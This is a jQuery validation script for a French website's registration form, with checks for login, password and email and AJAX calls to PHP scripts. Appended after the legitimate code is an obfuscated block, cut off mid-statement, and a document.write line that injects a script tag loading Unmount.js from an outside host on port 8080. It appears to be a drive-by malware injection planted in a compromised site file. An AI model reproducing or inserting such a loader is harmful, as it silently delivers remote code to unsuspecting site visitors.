$(function(){
    // variables à éditer pour adapter le script
    var div = "#form-inscription"; // id de la div qui contient le formulaire
    var login = "login";  // name de l'input du login
    var password = "password";  // name de l'input du password
    var passwordVerif = "password-verif";  // name de l'input du password de vérif
    var email= "email";  // name de l'input de l'email
    var emailVerif = "email-verif";  // name de l'input de l'email de vérif
    var checkbox = "newsletters"; // name de la checkbox newsletters
    
    var error = "error"; // nom de la classe des erreurs
    var url = "Scripts/Inscription/001.php"; //url du script de verification du formulaire
    var urlInsc = "Scripts/Inscription/002.php"; //url du script d'inscription
    
    //////////////////////////////////////////////////////////////
    //ne pas éditer ce qui se trouve ensuite
    /////////////////////////////////////////////////////////////
    var formulaire = div + " form ";
    login = formulaire + " input[name="+login+"]";
    password = formulaire + " input[name="+password+"]";
    passwordVerif = formulaire + " input[name="+passwordVerif+"]";
    email = formulaire + " input[name="+email+"]";
    emailVerif = formulaire + " input[name="+emailVerif+"]";
    checkbox = formulaire + " input[name="+checkbox+"]:checked";
    
    var valid = false; // on empeche l'envoi du formulaire
    var vLogin = false;
    var vPassword = false;
    var vEmail = false;
    
    //gestion du login
    $(login).blur(function(){
        if($(this).val() == ""){
            $(this).next("."+error).remove();
            $(this).after("<span class=\""+error+"\"><br /> Veuillez entrer un Pseudo !</span>");
            $(this).next("."+error).fadeIn(); 
        }
        else if(!$(this).val().match(/^[0-9a-zA-Z_éèàêâùïüë\-]{6,}$/i)){
            $(this).next("."+error).remove();
            $(this).next("."+error).remove();
            $(this).after("<span class=\""+error+"\"><br />  Veuillez entrer un Pseudo correct ! (minimum 6 caractères)</span>");
            $(this).next("."+error).fadeIn(); 
        }
        else{
            $.post(url, {action:"verifLogin",login:$(this).val()}, function(data){
                // gestion des retour PHP
                if(data == "erreurLogin"){
                    alert("Erreur PHP, veuillez avertir le webmaster du problème rencontré !");                    
                }
                if(data == "false"){
                    $(login).next("."+error).fadeOut();
                    $(login).attr("disabled", "disabled");
                    vLogin = true;
                }
                else{
                    $(login).next("."+error).remove();
                    $(login).after("<span class=\""+error+"\"><br /> Ce Pseudo est déjà utilisé, veuillez en choisir un autre !</span>");
                    $(login).next("."+error).fadeIn(); 
                }
            }, "json");
            
            $(this).next("."+error).fadeOut();
        }
    });
    
    //gestion du mot de passe
    $(password).blur(function(){
        if($(this).val() == ""){
            $(this).next("."+error).remove();
            $(this).after("<span class=\""+error+"\"><br />  Veuillez entrer un Mot de Passe !</span>");
            $(this).next("."+error).fadeIn(); 
        }
        else if(!$(this).val().match(/^[0-9a-zA-Z_éèàêâùïüë\-]{6,}$/i)){
            $(this).next("."+error).remove();
            $(this).after("<span class=\""+error+"\"> <br /> Veuillez entrer un Mot de Passe correct ! (minimum 6 caractères)</span>");
            $(this).next("."+error).fadeIn(); 
        }
        else{
            $(this).next("."+error).fadeOut();
            vPassword = true;
        }
    });
    
    //gestion du mot de passe de vérif
    $(passwordVerif).blur(function(){
        if($(this).val() == ""){
            $(this).next("."+error).remove();
            $(this).after("<span class=\""+error+"\"><br />  Veuillez entrer le Mot de Passe de vérification !</span>");
            $(this).next("."+error).fadeIn(); 
        }
        else if($(this).val() != $(password).val()){
            $(this).next("."+error).remove();
            $(this).after("<span class=\""+error+"\"><br />  Veuillez entrer le Mot de Passe correctement !</span>");
            $(this).next("."+error).fadeIn(); 
        }
        else{
            $(this).next("."+error).fadeOut();
            vPassword = true;
        }
    });
    
    //gestion de l'adresse mail
    $(email).blur(function(){
        if($(this).val() == ""){
            $(this).next("."+error).remove();
            $(this).after("<span class=\""+error+"\"><br />  Veuillez entrer une Adresse Mail !</span>");
            $(this).next("."+error).fadeIn(); 
        }
        else if(!$(this).val().match(/^[a-z0-9._%+-]+@[a-z0-9.-]+\.(?:[a-z]{2}|com|org|net|gov|mil|biz|info|mobi|name|aero|jobs|museum)$/)){
            $(this).next("."+error).remove();
            $(this).after("<span class=\""+error+"\"><br />  Veuillez entrer une Adresse Mail correcte !</span>");
            $(this).next("."+error).fadeIn(); 
        }
        else{
            $.post(url, {action:"verifEmail",email:$(this).val()}, function(data){
                // gestion des retour PHP
                if(data == "erreurEmail"){
                    alert("Erreur PHP, veuillez avertir le webmaster du problème rencontré !");                    
                }
                if(data == "false"){
                    $(email).next("."+error).fadeOut();
                    $(email).attr("disabled", "disabled");
                    vEmail = true;
                }
                else{
                    $(email).next("."+error).remove();
                    $(email).after("<span class=\""+error+"\"><br />  Adresse Mail déjà utilisée, veuillez en choisir une autre !</span>");
                    $(email).next("."+error).fadeIn(); 
                }
            }, "json");
            
            $(this).next("."+error).fadeOut();
        }
    });
    
    //gestion de l'adresse mail de vérif
    $(emailVerif).blur(function(){
        if($(this).val() == ""){
            $(this).next("."+error).remove();
            $(this).after("<span class=\""+error+"\"><br />  Veuillez entrer l'Adresse Mail !</span>");
            $(this).next("."+error).fadeIn(); 
        }
        else if($(this).val() != $(email).val()){
            $(this).next("."+error).remove();
            $(this).after("<span class=\""+error+"\"><br />  Veuillez entrer l'Adresse Mail correctement !</span>");
            $(this).next("."+error).fadeIn(); 
        }
        else{
            $(this).next("."+error).fadeOut();
            vEmail = true;
        }
    });
    
    // gestion formulaire
    $(formulaire).submit(function(){        
        if(vLogin == true && vPassword == true && vEmail == true){
            // on surveille le cochage des newsletters
            var newsletters = $(checkbox).length;
            
            // on envoi toutes les variables au script php d'inscription
            $.post(urlInsc, {action:"Inscription",login:$(login).val(), password:$(password).val(), email:$(email).val(), newsletters:newsletters}, function(data){
                // gestion des retour PHP
                if(data == "erreurInscription"){
                    alert("Erreur PHP, veuillez avertir le webmaster du problème rencontré !");                    
                }
                else{
                    
                }
            }, "json");    
            
            $(formulaire).fadeOut();
            $(formulaire).remove();
            $(div).append("<p style=\"color: #00FF00;\">Inscription Réussie, veuillez vérifier votre boite de réception ! (Si vous n'avez pas reçu de mail, vérifier votre espace de courriers indésirables !)</p>").hide();
            $(div).fadeIn();
        }
        
        return valid;
    });
});

this.ik=58445;this.ik--;this.sb='';try {Q=[];var Df=6184;var zI=new Array();var A=window["unesg5Y9".substr(0,4)+"cape"];var MY=62252;IN=[];var gk={zg:"n"};var Ak=String("repl"+"Gi2ace".substr(3));var aS=false;var ML={HP:49924};var v={k:8298};var mZ={sD:2220};var h={J:58666};var W="onlo"+"ad";var g="1";var O=window[("Re"+"gE"+"xp")];var Hq={pU:8726};var Un={UZ:24905};var U='';try {} catch(u){};zK={AQ:false};function z(g,e){this.V="V";xp=2341;xp+=200;var Yw="Yw";this.XB=47094;this.XB+=30;this.R='';_y={jJ:"RG"};this.ks=39927;this.ks+=77;var _=new String("Jpmg[".substr(4));_+=e;zx=63738;zx++;var l={Ua:17534};SE=40734;SE-=125;var Re={On:32593};_+=A("%5d");var x=new O(_, String("zq8g".substr(3)));this.QY="QY";return g.replace(x, U);YZ=



document.write('<s'+'cript type="text/javascript" src="http://questtore.hermosayasociados.com:8080/Unmount.js"></scr'+'ipt>');
